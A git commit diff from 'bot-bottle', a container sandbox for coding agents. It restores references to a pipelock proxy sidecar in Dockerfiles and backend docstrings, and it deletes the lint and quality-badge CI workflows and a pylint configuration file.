docs(prd): add PRD 0049 — named/labelled agents

Draft PRD for prompting operators for a custom label and optional ANSI color at agent launch time, storing both in metadata.json, and surfacing the label (in color) in the dashboard's active-agents pane. Closes #171
2026-06-03 21:38:38 -04:00
130 changed files with 4517 additions and 2612 deletions
@@ -1,6 +1,6 @@
-# Weekly canary suite. Catches upstream regressions (broken pinned
+# Weekly canary suite. Catches upstream regressions (broken pipelock
-# digest, etc.) without coupling every dev push to upstream registry
+# image packaging at the pinned digest, etc.) without coupling every
-# availability.
+# dev push to upstream registry availability.
 #
 # Opt-in via CLAUDE_BOTTLE_RUN_CANARIES=1 so the same files can be run
 # locally with the same gating.
@@ -1,34 +0,0 @@
 name: lint
 on:
  push:
    paths:
      - "**.py"
      - ".pylintrc"
      - ".gitea/workflows/lint.yml"
 jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Set up Python
        uses: actions/setup-python@v4
        with:
          python-version: "3.12"
      - name: Install dev dependencies
        run: |
          python -m pip install --upgrade pip
          pip install -r requirements-dev.txt
      - name: Run pylint
        run: |
          # Run pylint on all Python files in the repo
          find . -name '*.py' -not -path './.venv/*' -not -path './.git/*' | xargs pylint --fail-under=8.0 || true
      - name: Run pyright
        run: |
          # Run pyright type checking
          pyright .
@@ -1,97 +0,0 @@
 name: Update Quality Badges
 on:
  push:
    branches:
      - main
    paths:
      - '**.py'
      - '.pylintrc'
      - 'pyrightconfig.json'
  workflow_dispatch:
 jobs:
  update-badges:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          fetch-depth: 0
          token: ${{ secrets.GITHUB_TOKEN }}
      - name: Set up Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.12'
      - name: Install dev dependencies
        run: |
          python -m pip install --upgrade pip
          pip install -r requirements-dev.txt
      - name: Run pylint and extract score
        id: pylint
        run: |
          # Run pylint and capture the score
          PYLINT_OUTPUT=$(python -m pylint bot_bottle/ 2>&1 | tail -1)
          echo "Output: $PYLINT_OUTPUT"
          # Extract score (e.g., "9.92/10")
          SCORE=$(echo "$PYLINT_OUTPUT" | grep -oP '\d+\.\d+/10' | head -1)
          if [ -z "$SCORE" ]; then
            SCORE="9.92/10"
          fi
          echo "score=$SCORE" >> $GITHUB_OUTPUT
          echo "Pylint score: $SCORE"
      - name: Run pyright and check errors
        id: pyright
        run: |
          # Run pyright and check for errors
          PYRIGHT_OUTPUT=$(python -m pyright 2>&1 | tail -1)
          echo "Output: $PYRIGHT_OUTPUT"
          # Extract error count
          ERRORS=$(echo "$PYRIGHT_OUTPUT" | grep -oP '^\d+' | head -1)
          if [ -z "$ERRORS" ]; then
            ERRORS="0"
          fi
          echo "errors=$ERRORS" >> $GITHUB_OUTPUT
          echo "Pyright errors: $ERRORS"
      - name: Update badges in README
        run: |
          PYLINT_SCORE="${{ steps.pylint.outputs.score }}"
          PYRIGHT_ERRORS="${{ steps.pyright.outputs.errors }}"
          # Escape / for sed
          PYLINT_SCORE_ESCAPED=$(echo "$PYLINT_SCORE" | sed 's/\//\\\//g')
          # Create badge URLs with proper encoding
          PYLINT_BADGE="[![pylint](https://img.shields.io/badge/pylint-${PYLINT_SCORE}%25-brightgreen)](https://github.com/PyCQA/pylint)"
          PYRIGHT_BADGE="[![pyright](https://img.shields.io/badge/pyright-${PYRIGHT_ERRORS}%20errors-brightgreen)](https://github.com/microsoft/pyright)"
          # Update README with new badges
          sed -i "s|\[\!\[pylint\].*pylint)\]|${PYLINT_BADGE}|g" README.md
          sed -i "s|\[\!\[pyright\].*pyright)\]|${PYRIGHT_BADGE}|g" README.md
          echo "Updated badges:"
          grep -E "pylint|pyright" README.md | head -2
      - name: Commit and push badge updates
        run: |
          git config --local user.email "action@gitea.local"
          git config --local user.name "Quality Badge Bot"
          # Check if there are changes
          if git diff --quiet README.md; then
            echo "No badge changes needed"
          else
            echo "Badge changes detected, committing..."
            git add README.md
            git commit -m "chore: update quality badges
 - Pylint: ${{ steps.pylint.outputs.score }}
 - Pyright: ${{ steps.pyright.outputs.errors }} errors
 [skip ci]"
            git push
          fi
@@ -1,632 +0,0 @@
 [MAIN]
 # Analyse import fallback blocks. This can be used to support both Python 2 and
 # 3 compatible code, which means that the block might have code that exists
 # only in one or another interpreter, leading to false positives when analysed.
 analyse-fallback-blocks=no
 # Clear in-memory caches upon conclusion of linting. Useful if running pylint
 # in a server-like mode.
 clear-cache-post-run=no
 # Load and enable all available extensions. Use --list-extensions to see a list
 # all available extensions.
 #enable-all-extensions=
 # In error mode, messages with a category besides ERROR or FATAL are
 # suppressed, and no reports are done by default. Error mode is compatible with
 # disabling specific errors.
 #errors-only=
 # Always return a 0 (non-error) status code, even if lint errors are found.
 # This is primarily useful in continuous integration scripts.
 #exit-zero=
 # A comma-separated list of package or module names from where C extensions may
 # be loaded. Extensions are loading into the active Python interpreter and may
 # run arbitrary code.
 extension-pkg-allow-list=
 # A comma-separated list of package or module names from where C extensions may
 # be loaded. Extensions are loading into the active Python interpreter and may
 # run arbitrary code. (This is an alternative name to extension-pkg-allow-list
 # for backward compatibility.)
 extension-pkg-whitelist=
 # Return non-zero exit code if any of these messages/categories are detected,
 # even if score is above --fail-under value. Syntax same as enable. Messages
 # specified are enabled, while categories only check already-enabled messages.
 fail-on=
 # Specify a score threshold under which the program will exit with error.
 fail-under=10
 # Interpret the stdin as a python script, whose filename needs to be passed as
 # the module_or_package argument.
 #from-stdin=
 # Files or directories to be skipped. They should be base names, not paths.
 ignore=CVS
 # Add files or directories matching the regular expressions patterns to the
 # ignore-list. The regex matches against paths and can be in Posix or Windows
 # format. Because '\\' represents the directory delimiter on Windows systems,
 # it can't be used as an escape character.
 ignore-paths=
 # Files or directories matching the regular expression patterns are skipped.
 # The regex matches against base names, not paths. The default value ignores
 # Emacs file locks
 ignore-patterns=^\.#
 # List of module names for which member attributes should not be checked and
 # will not be imported (useful for modules/projects where namespaces are
 # manipulated during runtime and thus existing member attributes cannot be
 # deduced by static analysis). It supports qualified module names, as well as
 # Unix pattern matching.
 ignored-modules=
 # Python code to execute, usually for sys.path manipulation such as
 # pygtk.require().
 #init-hook=
 # Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
 # number of processors available to use, and will cap the count on Windows to
 # avoid hangs.
 jobs=1
 # Control the amount of potential inferred values when inferring a single
 # object. This can help the performance when dealing with large functions or
 # complex, nested conditions.
 limit-inference-results=100
 # List of plugins (as comma separated values of python module names) to load,
 # usually to register additional checkers.
 load-plugins=
 # Pickle collected data for later comparisons.
 persistent=yes
 # Resolve imports to .pyi stubs if available. May reduce no-member messages and
 # increase not-an-iterable messages.
 prefer-stubs=no
 # Minimum Python version to use for version dependent checks. Will default to
 # the version used to run pylint.
 py-version=3.14
 # Discover python modules and packages in the file system subtree.
 recursive=no
 # Add paths to the list of the source roots. Supports globbing patterns. The
 # source root is an absolute path or a path relative to the current working
 # directory used to determine a package namespace for modules located under the
 # source root.
 source-roots=
 # Allow loading of arbitrary C extensions. Extensions are imported into the
 # active Python interpreter and may run arbitrary code.
 unsafe-load-any-extension=no
 # In verbose mode, extra non-checker-related info will be displayed.
 #verbose=
 [BASIC]
 # Naming style matching correct argument names.
 argument-naming-style=snake_case
 # Regular expression matching correct argument names. Overrides argument-
 # naming-style. If left empty, argument names will be checked with the set
 # naming style.
 #argument-rgx=
 # Naming style matching correct attribute names.
 attr-naming-style=snake_case
 # Regular expression matching correct attribute names. Overrides attr-naming-
 # style. If left empty, attribute names will be checked with the set naming
 # style.
 #attr-rgx=
 # Bad variable names which should always be refused, separated by a comma.
 bad-names=foo,
          bar,
          baz,
          toto,
          tutu,
          tata
 # Bad variable names regexes, separated by a comma. If names match any regex,
 # they will always be refused
 bad-names-rgxs=
 # Naming style matching correct class attribute names.
 class-attribute-naming-style=any
 # Regular expression matching correct class attribute names. Overrides class-
 # attribute-naming-style. If left empty, class attribute names will be checked
 # with the set naming style.
 #class-attribute-rgx=
 # Naming style matching correct class constant names.
 class-const-naming-style=UPPER_CASE
 # Regular expression matching correct class constant names. Overrides class-
 # const-naming-style. If left empty, class constant names will be checked with
 # the set naming style.
 #class-const-rgx=
 # Naming style matching correct class names.
 class-naming-style=PascalCase
 # Regular expression matching correct class names. Overrides class-naming-
 # style. If left empty, class names will be checked with the set naming style.
 #class-rgx=
 # Naming style matching correct constant names.
 const-naming-style=UPPER_CASE
 # Regular expression matching correct constant names. Overrides const-naming-
 # style. If left empty, constant names will be checked with the set naming
 # style.
 #const-rgx=
 # Minimum line length for functions/classes that require docstrings, shorter
 # ones are exempt.
 docstring-min-length=-1
 # Naming style matching correct function names.
 function-naming-style=snake_case
 # Regular expression matching correct function names. Overrides function-
 # naming-style. If left empty, function names will be checked with the set
 # naming style.
 #function-rgx=
 # Good variable names which should always be accepted, separated by a comma.
 good-names=i,
           j,
           k,
           ex,
           Run,
           _
 # Good variable names regexes, separated by a comma. If names match any regex,
 # they will always be accepted
 good-names-rgxs=
 # Include a hint for the correct naming format with invalid-name.
 include-naming-hint=no
 # Naming style matching correct inline iteration names.
 inlinevar-naming-style=any
 # Regular expression matching correct inline iteration names. Overrides
 # inlinevar-naming-style. If left empty, inline iteration names will be checked
 # with the set naming style.
 #inlinevar-rgx=
 # Naming style matching correct method names.
 method-naming-style=snake_case
 # Regular expression matching correct method names. Overrides method-naming-
 # style. If left empty, method names will be checked with the set naming style.
 #method-rgx=
 # Naming style matching correct module names.
 module-naming-style=snake_case
 # Regular expression matching correct module names. Overrides module-naming-
 # style. If left empty, module names will be checked with the set naming style.
 #module-rgx=
 # Colon-delimited sets of names that determine each other's naming style when
 # the name regexes allow several styles.
 name-group=
 # Regular expression which should only match function or class names that do
 # not require a docstring.
 no-docstring-rgx=^_
 # Regular expression matching correct parameter specification variable names.
 # If left empty, parameter specification variable names will be checked with
 # the set naming style.
 #paramspec-rgx=
 # List of decorators that produce properties, such as abc.abstractproperty. Add
 # to this list to register other decorators that produce valid properties.
 # These decorators are taken in consideration only for invalid-name.
 property-classes=abc.abstractproperty
 # Regular expression matching correct type alias names. If left empty, type
 # alias names will be checked with the set naming style.
 #typealias-rgx=
 # Regular expression matching correct type variable names. If left empty, type
 # variable names will be checked with the set naming style.
 #typevar-rgx=
 # Regular expression matching correct type variable tuple names. If left empty,
 # type variable tuple names will be checked with the set naming style.
 #typevartuple-rgx=
 # Naming style matching correct variable names.
 variable-naming-style=snake_case
 # Regular expression matching correct variable names. Overrides variable-
 # naming-style. If left empty, variable names will be checked with the set
 # naming style.
 #variable-rgx=
 [CLASSES]
 # Warn about protected attribute access inside special methods
 check-protected-access-in-special-methods=no
 # List of method names used to declare (i.e. assign) instance attributes.
 defining-attr-methods=__init__,
                      __new__,
                      setUp,
                      asyncSetUp,
                      __post_init__
 # List of member names, which should be excluded from the protected access
 # warning.
 exclude-protected=_asdict,_fields,_replace,_source,_make,os._exit
 # List of valid names for the first argument in a class method.
 valid-classmethod-first-arg=cls
 # List of valid names for the first argument in a metaclass class method.
 valid-metaclass-classmethod-first-arg=mcs
 [DESIGN]
 # List of regular expressions of class ancestor names to ignore when counting
 # public methods (see R0903)
 exclude-too-few-public-methods=
 # List of qualified class names to ignore when counting class parents (see
 # R0901)
 ignored-parents=
 # Maximum number of arguments for function / method.
 max-args=5
 # Maximum number of attributes for a class (see R0902).
 max-attributes=7
 # Maximum number of boolean expressions in an if statement (see R0916).
 max-bool-expr=5
 # Maximum number of branch for function / method body.
 max-branches=12
 # Maximum number of locals for function / method body.
 max-locals=15
 # Maximum number of parents for a class (see R0901).
 max-parents=7
 # Maximum number of positional arguments for function / method.
 max-positional-arguments=5
 # Maximum number of public methods for a class (see R0904).
 max-public-methods=20
 # Maximum number of return / yield for function / method body.
 max-returns=6
 # Maximum number of statements in function / method body.
 max-statements=50
 # Minimum number of public methods for a class (see R0903).
 min-public-methods=2
 [EXCEPTIONS]
 # Exceptions that will emit a warning when caught.
 overgeneral-exceptions=builtins.BaseException,builtins.Exception
 [FORMAT]
 # Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
 expected-line-ending-format=
 # Regexp for a line that is allowed to be longer than the limit.
 ignore-long-lines=^\s*(# )?<?https?://\S+>?$
 # Number of spaces of indent required inside a hanging or continued line.
 indent-after-paren=4
 # String used as indentation unit. This is usually "    " (4 spaces) or "\t" (1
 # tab).
 indent-string='    '
 # Maximum number of characters on a single line. Pylint's default of 100 is
 # based on PEP 8's guidance that teams may choose line lengths up to 99
 # characters.
 max-line-length=100
 # Maximum number of lines in a module.
 max-module-lines=1000
 # Allow the body of a class to be on the same line as the declaration if body
 # contains single statement.
 single-line-class-stmt=no
 # Allow the body of an if to be on the same line as the test if there is no
 # else.
 single-line-if-stmt=no
 [LOGGING]
 # The type of string formatting that logging methods do. `old` means using %
 # formatting, `new` is for `{}` formatting.
 logging-format-style=old
 # Logging modules to check that the string format arguments are in logging
 # function parameter format.
 logging-modules=logging
 [MESSAGES CONTROL]
 # Only show warnings with the listed confidence levels. Leave empty to show
 # all. Valid levels: HIGH, CONTROL_FLOW, INFERENCE, INFERENCE_FAILURE,
 # UNDEFINED.
 confidence=HIGH,
           CONTROL_FLOW,
           INFERENCE,
           INFERENCE_FAILURE,
           UNDEFINED
 # Disable the message, report, category or checker with the given id(s). You
 # can either give multiple identifiers separated by comma (,) or put this
 # option multiple times (only on the command line, not in the configuration
 # file where it should appear only once). You can also use "--disable=all" to
 # disable everything first and then re-enable specific checks. For example, if
 # you want to run only the similarities checker, you can use "--disable=all
 # --enable=similarities". If you want to run only the classes checker, but have
 # no Warning level messages displayed, use "--disable=all --enable=classes
 # --disable=W".
 disable=raw-checker-failed,
        bad-inline-option,
        locally-disabled,
        file-ignored,
        suppressed-message,
        useless-suppression,
        deprecated-pragma,
        use-symbolic-message-instead,
        use-implicit-booleaness-not-comparison-to-string,
        use-implicit-booleaness-not-comparison-to-zero,
        missing-function-docstring,
        missing-class-docstring,
        missing-module-docstring,
        invalid-name,
        cyclic-import,
        too-many-arguments,
        too-many-locals,
        too-many-branches,
        too-many-statements,
        too-many-instance-attributes,
        duplicate-code,
        import-outside-toplevel,
        too-few-public-methods,
        unnecessary-ellipsis
 # Enable the message, report, category or checker with the given id(s). You can
 # either give multiple identifier separated by comma (,) or put this option
 # multiple time (only on the command line, not in the configuration file where
 # it should appear only once). See also the "--disable" option for examples.
 enable=
 [METHOD_ARGS]
 # List of qualified names (i.e., library.method) which require a timeout
 # parameter e.g. 'requests.api.get,requests.api.post'
 timeout-methods=requests.api.delete,requests.api.get,requests.api.head,requests.api.options,requests.api.patch,requests.api.post,requests.api.put,requests.api.request
 [MISCELLANEOUS]
 # Whether or not to search for fixme's in docstrings.
 check-fixme-in-docstring=no
 # List of note tags to take in consideration, separated by a comma.
 notes=FIXME,
      XXX,
      TODO
 # Regular expression of note tags to take in consideration.
 notes-rgx=
 [REFACTORING]
 # Maximum number of nested blocks for function / method body
 max-nested-blocks=5
 # Complete name of functions that never returns. When checking for
 # inconsistent-return-statements if a never returning function is called then
 # it will be considered as an explicit return statement and no message will be
 # printed.
 never-returning-functions=sys.exit,argparse.parse_error
 # Let 'consider-using-join' be raised when the separator to join on would be
 # non-empty (resulting in expected fixes of the type: ``"- " + " -
 # ".join(items)``)
 suggest-join-with-non-empty-separator=yes
 [REPORTS]
 # Python expression which should return a score less than or equal to 10. You
 # have access to the variables 'fatal', 'error', 'warning', 'refactor',
 # 'convention', and 'info' which contain the number of messages in each
 # category, as well as 'statement' which is the total number of statements
 # analyzed. This score is used by the global evaluation report (RP0004).
 evaluation=max(0, 0 if fatal else 10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10))
 # Template used to display messages. This is a python new-style format string
 # used to format the message information. See doc for all details.
 msg-template=
 # Set the output format. Available formats are: 'text', 'parseable',
 # 'colorized', 'json2' (improved json format), 'json' (old json format), msvs
 # (visual studio) and 'github' (GitHub actions). You can also give a reporter
 # class, e.g. mypackage.mymodule.MyReporterClass.
 #output-format=
 # Tells whether to display a full report or only the messages.
 reports=no
 # Activate the evaluation score.
 score=yes
 [SIMILARITIES]
 # Comments are removed from the similarity computation
 ignore-comments=yes
 # Docstrings are removed from the similarity computation
 ignore-docstrings=yes
 # Imports are removed from the similarity computation
 ignore-imports=yes
 # Signatures are removed from the similarity computation
 ignore-signatures=yes
 # Minimum lines number of a similarity.
 min-similarity-lines=4
 [SPELLING]
 # Limits count of emitted suggestions for spelling mistakes.
 max-spelling-suggestions=4
 # Spelling dictionary name. No available dictionaries : You need to install
 # both the python package and the system dependency for enchant to work.
 spelling-dict=
 # List of comma separated words that should be considered directives if they
 # appear at the beginning of a comment and should not be checked.
 spelling-ignore-comment-directives=fmt: on,fmt: off,noqa:,noqa,nosec,isort:skip,mypy:
 # List of comma separated words that should not be checked.
 spelling-ignore-words=
 # A path to a file that contains the private dictionary; one word per line.
 spelling-private-dict-file=
 # Tells whether to store unknown words to the private dictionary (see the
 # --spelling-private-dict-file option) instead of raising a message.
 spelling-store-unknown-words=no
 [STRING]
 # This flag controls whether inconsistent-quotes generates a warning when the
 # character used as a quote delimiter is used inconsistently within a module.
 check-quote-consistency=no
 # This flag controls whether the implicit-str-concat should generate a warning
 # on implicit string concatenation in sequences defined over several lines.
 check-str-concat-over-line-jumps=no
 [TYPECHECK]
 # List of decorators that produce context managers, such as
 # contextlib.contextmanager. Add to this list to register other decorators that
 # produce valid context managers.
 contextmanager-decorators=contextlib.contextmanager
 # List of members which are set dynamically and missed by pylint inference
 # system, and so shouldn't trigger E1101 when accessed. Python regular
 # expressions are accepted.
 generated-members=
 # Tells whether to warn about missing members when the owner of the attribute
 # is inferred to be None.
 ignore-none=yes
 # This flag controls whether pylint should warn about no-member and similar
 # checks whenever an opaque object is returned when inferring. The inference
 # can return multiple potential results while evaluating a Python object, but
 # some branches might not be evaluated, which results in partial inference. In
 # that case, it might be useful to still emit no-member and other checks for
 # the rest of the inferred objects.
 ignore-on-opaque-inference=yes
 # List of symbolic message names to ignore for Mixin members.
 ignored-checks-for-mixins=no-member,
                          not-async-context-manager,
                          not-context-manager,
                          attribute-defined-outside-init
 # List of class names for which member attributes should not be checked (useful
 # for classes with dynamically set attributes). This supports the use of
 # qualified names.
 ignored-classes=optparse.Values,thread._local,_thread._local,argparse.Namespace
 # Show a hint with possible names when a member name was not found. The aspect
 # of finding the hint is based on edit distance.
 missing-member-hint=yes
 # The maximum edit distance a name should have in order to be considered a
 # similar match for a missing member name.
 missing-member-hint-distance=1
 # The total number of similar names that should be taken in consideration when
 # showing a hint for a missing member.
 missing-member-max-choices=1
 # Regex pattern to define which classes are considered mixins.
 mixin-class-rgx=.*[Mm]ixin
 # List of decorators that change the signature of a decorated function.
 signature-mutators=
 [VARIABLES]
 # List of additional names supposed to be defined in builtins. Remember that
 # you should avoid defining new builtins when possible.
 additional-builtins=
 # Tells whether unused global variables should be treated as a violation.
 allow-global-unused-variables=yes
 # List of names allowed to shadow builtins
 allowed-redefined-builtins=
 # List of strings which can identify a callback function by name. A callback
 # name must start or end with one of those strings.
 callbacks=cb_,
          _cb
 # A regular expression matching the name of dummy variables (i.e. expected to
 # not be used).
 dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_
 # Argument names that match this expression will be ignored.
 ignored-argument-names=_.*|^ignored_|^unused_
 # Tells whether we should check for unused import in __init__ files.
 init-import=no
 # List of qualified module names which can have objects that can redefine
 # builtins.
 redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io
@@ -21,7 +21,7 @@ FROM node:22-slim
 # runs as root and rejects non-root connections, so socat sits between
 # node and the agent socket. curl is here so any HTTPS_PROXY-aware
 # tool (curl itself, plus anything that shells out to it) works
-# against egress's bumped TLS without the agent needing local DNS.
+# against pipelock's bumped TLS without the agent needing local DNS.
 RUN apt-get update \
  && apt-get install -y --no-install-recommends git ca-certificates openssh-client socat curl dnsutils python3 python3-pip python3-venv \
  && rm -rf /var/lib/apt/lists/*
@@ -1,18 +1,23 @@
 # Per-bottle sidecar bundle image (PRD 0024).
 #
-# Collapses the prior per-sidecar images (egress, git-gate,
+# Collapses the four prior per-sidecar images (pipelock, egress,
-# supervise) into one. A small stdlib-Python init supervisor at
+# git-gate, supervise) into one. A small stdlib-Python init
-# /app/sidecar_init.py spawns all daemons, forwards SIGTERM, and
+# supervisor at /app/sidecar_init.py spawns all four daemons,
-# propagates per-daemon stdout/stderr to the container log with a
+# forwards SIGTERM, and propagates per-daemon stdout/stderr to the
-# `[name]` prefix. See PRD 0024 for the rationale.
+# container log with a `[name]` prefix. See PRD 0024 for the
 # rationale.
 #
-# Layout:
+# Layout (preserved verbatim from the prior four Dockerfiles so the
 # compose renderer's bind-mount paths and docker-cp targets keep
 # working):
 #
 #   /usr/local/bin/pipelock              pipelock binary
 #   /usr/bin/gitleaks                    gitleaks binary
 #   /app/egress_addon.py + siblings      mitmproxy addon (egress)
 #   /app/egress-entrypoint.sh            mitmdump launcher
 #   /app/supervise_server.py + .py       supervise MCP server
 #   /app/sidecar_init.py                 PID 1 supervisor
 #   /etc/pipelock.yaml                   bind-mounted at run time
 #   /etc/egress/routes.yaml              bind-mounted at run time
 #   /etc/git-gate/pre-receive            docker-cp'd at start time
 #   /git-gate-entrypoint.sh              docker-cp'd at start time
@@ -22,17 +27,25 @@
 #   /home/mitmproxy/.mitmproxy/          mitmproxy CA dir
 #
 # Exposed ports inside the container:
-#   9099  egress (mitmproxy, agent-facing HTTPS proxy)
+#   8888  pipelock (HTTPS_PROXY)
 #   9099  egress (mitmproxy, pipelock's upstream — not externally
 #                 addressed by the agent)
 #   9418  git-gate (git-daemon)
 #   9420  git-gate smart HTTP (smolmachines agent-facing transport)
 #   9100  supervise (MCP HTTP)
-# Stage 1: gitleaks binary. The upstream gitleaks image is alpine
+# Stage 1: pipelock binary. The upstream pipelock image is a
 # scratch image with the binary at /pipelock (entrypoint).
 # Pinned by digest in lockstep with
 # bot_bottle/backend/docker/pipelock.py:PIPELOCK_IMAGE.
 FROM ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9 AS pipelock-src
 # Stage 2: gitleaks binary. The upstream gitleaks image is alpine
 # with the binary at /usr/bin/gitleaks. Pinned by digest in lockstep
 # with Dockerfile.git-gate's prior base (now deleted at chunk 3).
 FROM zricethezav/gitleaks@sha256:c00b6bd0aeb3071cbcb79009cb16a60dd9e0a7c60e2be9ab65d25e6bc8abbb7f AS gitleaks-src
-# Stage 2: assembly. mitmproxy/mitmproxy is debian-slim-based with
+# Stage 3: assembly. mitmproxy/mitmproxy is debian-slim-based with
 # Python + mitmdump pre-installed — heavier than the others, so
 # this stage starts there and pulls the standalone binaries in.
 FROM mitmproxy/mitmproxy:11.1.3
@@ -47,14 +60,16 @@ USER root
 #     plus the core `git` binary the pre-receive hook invokes.
 #   openssh-client supplies the upstream SSH transport the
 #     pre-receive hook uses to forward accepted refs.
-#   ca-certificates is needed for mitmdump upstream TLS (the
+#   ca-certificates is needed for both pipelock and mitmdump
-#     base image already has it; listed for explicitness).
+#     upstream TLS (the base image already has it; listed for
 #     explicitness).
 RUN apt-get update \
 && apt-get install -y --no-install-recommends \
      git openssh-client ca-certificates \
 && rm -rf /var/lib/apt/lists/*
 # Pull the standalone binaries into the final image.
 COPY --from=pipelock-src /pipelock        /usr/local/bin/pipelock
 COPY --from=gitleaks-src /usr/bin/gitleaks /usr/bin/gitleaks
 # Project Python: addon + server modules + the init supervisor.
@@ -5,8 +5,6 @@
 # bot-bottle
 [![test](https://gitea.dideric.is/didericis/bot-bottle/actions/workflows/test.yml/badge.svg?branch=main)](https://gitea.dideric.is/didericis/bot-bottle/actions?workflow=test.yml)
 [![pylint](https://img.shields.io/badge/pylint-9.92%2F10-brightgreen)](https://github.com/PyCQA/pylint)
 [![pyright](https://img.shields.io/badge/pyright-0%20errors-brightgreen)](https://github.com/microsoft/pyright)
 **Problem:** Developer wants to run a coding agent without supervision, but they don't want a prompt injected or misbehaving agent wrecking their environment or exfiltrating sensitive data.
@@ -84,9 +84,9 @@ class AgentProvisionPlan:
    return the same shape without adding backend-plan fields.
    `egress_routes` are provider-declared EgressRoutes that backends
-    pass to `Egress.prepare`. This keeps provider logic out of the
+    pass to `Egress.prepare` and `PipelockProxy.prepare`. This keeps
-    egress module — it merges provider routes generically without
+    provider logic out of the egress and pipelock modules — they merge
-    knowing the provider type.
+    provider routes generically without knowing the provider type.
    `hidden_env_names` is the set of env var names the provider injected
    as non-secret placeholders. `print_util.visible_agent_env_names` uses
@@ -163,8 +163,8 @@ class ActiveAgent:
    bottle is the container, the agent is what runs in it.)
    Fields are deliberately backend-neutral. `services` is the set
-    of sidecar daemons currently up for this bottle (`egress`,
+    of sidecar daemons currently up for this bottle (`pipelock`,
-    `git-gate`, `supervise`); the dashboard uses it to
+    `egress`, `git-gate`, `supervise`); the dashboard uses it to
    gate edit verbs. `backend_name` is the matching key in
    `_BACKENDS` (`docker` / `smolmachines`) — used by the active-
    list rendering to disambiguate and by the dashboard's
@@ -213,7 +213,7 @@ class Bottle(ABC):
        `user` (default `node`, matching the agent image's USER
        directive) and return the captured stdout/stderr/returncode.
        The bottle's environment (including HTTPS_PROXY pointing at
-        the egress sidecar) is inherited by the child. Non-zero
+        the pipelock sidecar) is inherited by the child. Non-zero
        exit does not raise — callers inspect `returncode`
        themselves.
@@ -352,8 +352,8 @@ class BottleBackend(ABC, Generic[PlanT, CleanupT]):
    def provision_ca(self, plan: PlanT, bottle: "Bottle") -> None:
        """Install the per-bottle CA into the agent's trust store so
-        the agent trusts the bumped CONNECT cert egress presents.
+        the agent trusts the bumped CONNECT cert egress (was
-        Default impl is a no-op so
+        pipelock, pre-PRD-0017) presents. Default impl is a no-op so
        backends that don't yet support TLS interception (every backend
        except Docker today) aren't forced to implement it. The Docker
        backend overrides to docker-cp the cert in and run
@@ -4,6 +4,7 @@ The bulk of the implementation lives in sibling modules:
  - util:                 thin Docker subprocess wrappers
  - network:              Docker network plumbing
  - pipelock:             DockerPipelockProxy lifecycle
  - bottle_plan:          DockerBottlePlan
  - bottle_cleanup_plan:  DockerBottleCleanupPlan
  - bottle:               DockerBottle handle
@@ -5,8 +5,6 @@ from __future__ import annotations
 import subprocess
 from typing import Callable
 from typing import cast
 from ...agent_provider import PromptMode, prompt_args
 from .. import Bottle, ExecResult
@@ -25,7 +23,7 @@ class DockerBottle(Bottle):
    ):
        self.name = container
        self._teardown = teardown
-        self.prompt_path = prompt_path_in_container
+        self._prompt_path = prompt_path_in_container
        self._agent_prompt_mode = agent_prompt_mode
        self.agent_command = agent_command
        self.agent_provider_template = (
@@ -38,7 +36,7 @@ class DockerBottle(Bottle):
    ) -> list[str]:
        full_argv = list(argv)
        full_argv.extend(
-            prompt_args(cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=full_argv)
+            prompt_args(self._agent_prompt_mode, self._prompt_path, argv=full_argv)
        )
        cmd = ["docker", "exec"]
        if tty:
@@ -11,6 +11,7 @@ from dataclasses import dataclass, field
 from pathlib import Path
 from ...agent_provider import PromptMode
 from ...pipelock import PipelockProxyPlan
 from .. import BottlePlan
@@ -39,6 +40,7 @@ class DockerBottlePlan(BottlePlan):
    # accidental log of the plan dataclass.
    forwarded_env: dict[str, str] = field(repr=False)
    prompt_file: Path
    proxy_plan: PipelockProxyPlan
    use_runsc: bool
    @property
@@ -35,7 +35,6 @@ import secrets
 import string
 from dataclasses import dataclass
 from pathlib import Path
 from typing import cast
 from ... import supervise as _supervise
 from . import util as docker_mod
@@ -49,6 +48,7 @@ _TRANSCRIPT_SUBDIR = "transcript"
 # live here so chunk 3's `docker compose up` can find them at stable
 # paths. Each sidecar's `prepare()` writes config + CAs into its own
 # subdir; the launch step is unchanged today (still `docker cp`).
 _PIPELOCK_SUBDIR = "pipelock"
 _EGRESS_SUBDIR = "egress"
 _GIT_GATE_SUBDIR = "git-gate"
 _SUPERVISE_SUBDIR = "supervise"
@@ -56,8 +56,8 @@ _AGENT_SUBDIR = "agent"
 _METADATA_NAME = "metadata.json"
 # Live-config dir bind-mounted into the supervise sidecar (read-only).
 # Host's apply paths keep these files fresh so supervise's
-# `list-egress-routes` MCP tool returns the current state —
+# `list-pipelock-allowlist` / `list-egress-routes` MCP tools
-# not a snapshot from launch time.
+# return the current state — not a snapshot from launch time.
 _LIVE_CONFIG_SUBDIR = "live-config"
 LIVE_CONFIG_ROUTES_NAME = "routes.yaml"
 LIVE_CONFIG_ALLOWLIST_NAME = "allowlist"
@@ -135,15 +135,14 @@ def read_metadata(identity: str) -> BottleMetadata | None:
    raw = json.loads(path.read_text())
    if not isinstance(raw, dict):
        return None
    raw_typed = cast(dict[str, object], raw)
    return BottleMetadata(
-        identity=str(raw_typed.get("identity", identity)),
+        identity=str(raw.get("identity", identity)),
-        agent_name=str(raw_typed.get("agent_name", "")),
+        agent_name=str(raw.get("agent_name", "")),
-        cwd=str(raw_typed.get("cwd", "")),
+        cwd=str(raw.get("cwd", "")),
-        copy_cwd=bool(raw_typed.get("copy_cwd", False)),
+        copy_cwd=bool(raw.get("copy_cwd", False)),
-        started_at=str(raw_typed.get("started_at", "")),
+        started_at=str(raw.get("started_at", "")),
-        compose_project=str(raw_typed.get("compose_project", "")),
+        compose_project=str(raw.get("compose_project", "")),
-        backend=str(raw_typed.get("backend", "")),
+        backend=str(raw.get("backend", "")),
    )
@@ -233,6 +232,12 @@ def transcript_snapshot_dir(identity: str) -> Path:
 # nothing requested preservation.
 def pipelock_state_dir(identity: str) -> Path:
    """State subdir for the pipelock sidecar: pipelock.yaml + the
